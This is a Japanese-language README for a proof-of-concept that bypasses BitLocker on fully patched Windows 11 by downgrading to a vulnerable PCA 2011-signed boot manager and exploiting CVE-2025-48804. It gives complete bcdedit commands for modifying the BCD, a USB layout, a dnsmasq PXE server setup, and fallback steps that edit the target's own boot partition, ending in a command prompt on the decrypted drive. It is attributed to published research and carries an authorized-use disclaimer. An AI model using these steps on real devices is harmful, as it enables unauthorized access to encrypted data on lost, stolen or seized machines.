
CVE-2025-48804 に対するダウングレード攻撃
完全にパッチ適用された Windows 11 マシン上で、ブートマネージャーのダウングレード攻撃を通じて 5 分未満 で BitLocker 暗号化ディスクにアクセスするための概念実証です。この攻撃は、元々 CVE-2025-48804 として文書化された SDI 脆弱性を利用します。2025年7月のパッチで bootmgfw.efi が修正されましたが、PCA 2011 で署名されたパッチ適用前の bootmgfw.efi は、対象システムがこの PCA を信頼している限り、ダウングレード攻撃に使用できます。
この PoC は、USB ブート(より簡単で推奨)と PXE ブート の 2 つの配信方法を提供します。しかし理論上は、SDI ブートファイルをデフォルトの暗号化されていないパーティション(ESP と回復)のいずれかにコピーし、USB や PXE を使わずに済ませることも可能です。「エッジケース」の表を参照してください。
この作業は、Microsoft STORM(Netanel Ben Simon 氏と Alon Leviev 氏)による研究に完全に基づいています:
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq とイーサネットケーブルを備えた Linux マシンUSB 方式の場合は USB/sdi/ に、PXE 方式の場合は TFTP-root/sdi/ に配置します。
対象デバイスで WinRE コマンドプロンプトを開きます(Shift キーを押しながら 再起動 をクリックし、トラブルシューティング > コマンドプロンプト を選択。BitLocker 回復キーを求められたら「このディスクを無視する」をクリックし、ロックされたデバイスではコマンドプロンプトを実行できないと表示された場合は「再起動」をクリック。どうしてもコマンドプロンプトが開かない場合は、独自の WinPE を使用してください)。USB スティックを差し込み、以下を実行します:
E: (または USB のドライブレター)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
出力の中から、説明が "Windows Recovery" であり、ramdisksdidevice / ramdisksdipath エントリを含むデバイスオプションエントリを見つけます。その GUID をメモし、次を実行します:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
結果の BCD ファイルを、使用する方法に応じて適切な場所に配置します:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDUSB スティックを FAT32 でフォーマットし、USB/ ディレクトリの内容をルートにコピーします(内容のみで、"USB" フォルダが存在してはいけません)。USB スティックは次のようになります:
USB スティック ルート/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # パッチ適用前のブートマネージャー (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # 変更済み BCD
└── sdi/
└── boot_patched.sdi # カスタム WinRE を含むパッチ済み SDI
対象に USB スティックを差し込み、UEFI USB ブートをトリガーします(WinRE から デバイスの使用 を選択するか、電源投入時にメーカーのブートメニューキー(F12、F9 など)を押します)。USB スティックがブートオプションのリストに表示されない場合は、UEFI ブートメニューで "Boot from file" オプションを探し、USB スティック上の EFI/Boot/bootx64.efi に移動します。
TFTP-root/ ディレクトリの構造は次のとおりです:
TFTP-root/
├── bootmgfw.efi # パッチ適用前のブートマネージャー (PCA 2011)
├── Boot/
│ └── BCD # 変更済み BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # 同じパッチ適用前のブートマネージャー
└── sdi/
└── boot_patched.sdi # カスタム WinRE を含むパッチ済み SDI
イーサネット経由で対象を Linux マシンに接続し、PXE サーバーを起動します:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
対象で PXE ブートをトリガーします(WinRE から デバイスの使用 > IPv4 ネットワーク を選択するか、メーカーの PXE ブートキーを押します)。
ブートマネージャーは BCD を読み込み、次に boot_patched.sdi のダウンロードを開始します。SDI ファイルは大きい(約 300 MB)ため、USB からは少し時間がかかり、TFTP 経由では 数分 かかります。読み込み中、対象画面に SDI パスを含む回復関連のメッセージが表示されるはずです。
転送が完了すると、OS ボリュームが復号化されマウントされた状態で(通常は C: または E:)コマンドプロンプトが表示されます。自動的にマウントされなかった場合やドライブレターを推測したくない場合は、diskpart -> sel vol X(暗号化されたドライブのように見えるもの)-> assign letter=C(または他の文字)-> exit を実行してから完了です。
| 状況 | 結果 |
|---|---|
| PIN を知っている状態で BitLocker が設定されている | ブート時に青画面 — 盲目的に PIN を入力して(このリポジトリに BitLocker フォントを含めるのを面倒くさがったため)Enter を押す |
| 青画面、PIN なし | 対象が CA 2023 に移行している可能性が高い — Escape を押して SDI 転送を完了させてください。ただし、最終的に BitLocker 暗号化ドライブはロックされたままになる可能性が高いです |
| USB-C / Thunderbolt のみ | USB-C ドライブまたは USB-イーサネットアダプター(PXE 用)を使用 |
| TFTP ファイルが見つからない(気にしないゴミの Font ファイル以外) | ファイル名は大文字小文字を区別 — bootmgfw.efi を対象が要求する名前にリネーム |
| PXE または USB ブートが許可されていない | ESP および回復パーティションの利用可能なサイズを確認する(diskpart -> list vol)。指定された Boot.sdi ファイル(約 300MB)を収容できる十分な空き領域がある場合は、そこに配置します。その後、エクスプロイトは少し異なりますが(それでも同様に高速です)、対象システムの BCD ファイルを直接変更し(必ずバックアップを取ってください)、暗号化されていないホストパーティションを指すようにし(特に ramdisksdidevice BCD エントリ)、対象の bootmgfw.efi をこのリポジトリの TFTP フォルダにあるものに置き換える必要があります。この場合、対象のブートマネージャーが PCA 2011 で署名されていることを確認してください(その場合でもエクスプロイトは機能しませんが、常に確認してください)。そうしないと、システムが BitLocker 回復状態になります。また、Boot.sdi ファイルを収容するのに十分な空き領域がない場合は、独自の小さなバージョンを作成してみてください。それを行う方法はいくつかあります(以下の「独自の SDI ファイルをビルドする」セクションを参照) |
scripts/ に 2 つのスクリプトが含まれています:
patch_sdi.py — boot.sdi と WinRE.wim ファイルから変更済み SDI ファイルをビルドしますparse_sdi.py — SDI ファイルを解析して構造と内容を検証しますリリースで提供されている boot_patched.sdi ファイルには、起動アプリが cmd.exe に変更された WinRE.wim が含まれています。
bootmgfw.efi が出荷される可能性が高いです。確認するには、EFI パーティションをマウントしてアクティブなバイナリを調べます:mountvol S: /s を実行し、sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi を実行します。C:\Windows\Boot\EFI\bootmgfw.efi は実際にブート時に使用されるファイルと異なる場合があることに注意してください。常に EFI パーティションのコピーを確認してください。Microsoft STORM(Netanel Ben Simon 氏と Alon Leviev 氏) — 元の BitUnlocker 研究と脆弱性の開示に感謝します。
このリポジトリとそのすべての内容は、認可されたセキュリティテストおよび研究目的 でのみ提供されます。このツールは、自分が所有しているか、テストする明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、この資料の使用に起因する誤用や損害について一切の責任を負いません。